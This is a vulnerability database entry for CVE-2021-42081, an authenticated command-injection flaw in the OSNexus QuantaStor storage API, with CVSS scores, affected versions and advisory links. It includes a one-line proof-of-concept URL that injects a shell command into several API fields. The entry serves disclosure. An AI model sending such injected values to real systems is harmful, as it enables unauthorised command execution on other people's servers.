CVEvulnerability
CVE-2021-42081
7.2 HIGH
Official page ↗
- Status
- Modified
- Published
- 2023-07-10
- Last modified
- 2026-06-17
- Assigner
- [email protected]
- CVSS 3.1 ([email protected])
- 9.1 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- CVSS 3.1 ([email protected])
- 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Affected configurations
• osnexus quantastor (< 6.0.0.355)
Related
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
References
- https://csirt.divd.nl/CVE-2021-42081 Third Party Advisory
- https://csirt.divd.nl/DIVD-2021-00020/ csirt.divd.nl
- https://www.osnexus.com/products/software-defined-storage Product
- https://www.wbsec.nl/osnexus Third Party Advisory
- https://csirt.divd.nl/CVE-2021-42081 Third Party Advisory
- https://www.divd.nl/DIVD-2021-00020 www.divd.nl
- https://www.osnexus.com/products/software-defined-storage Product
- https://www.wbsec.nl/osnexus Third Party Advisory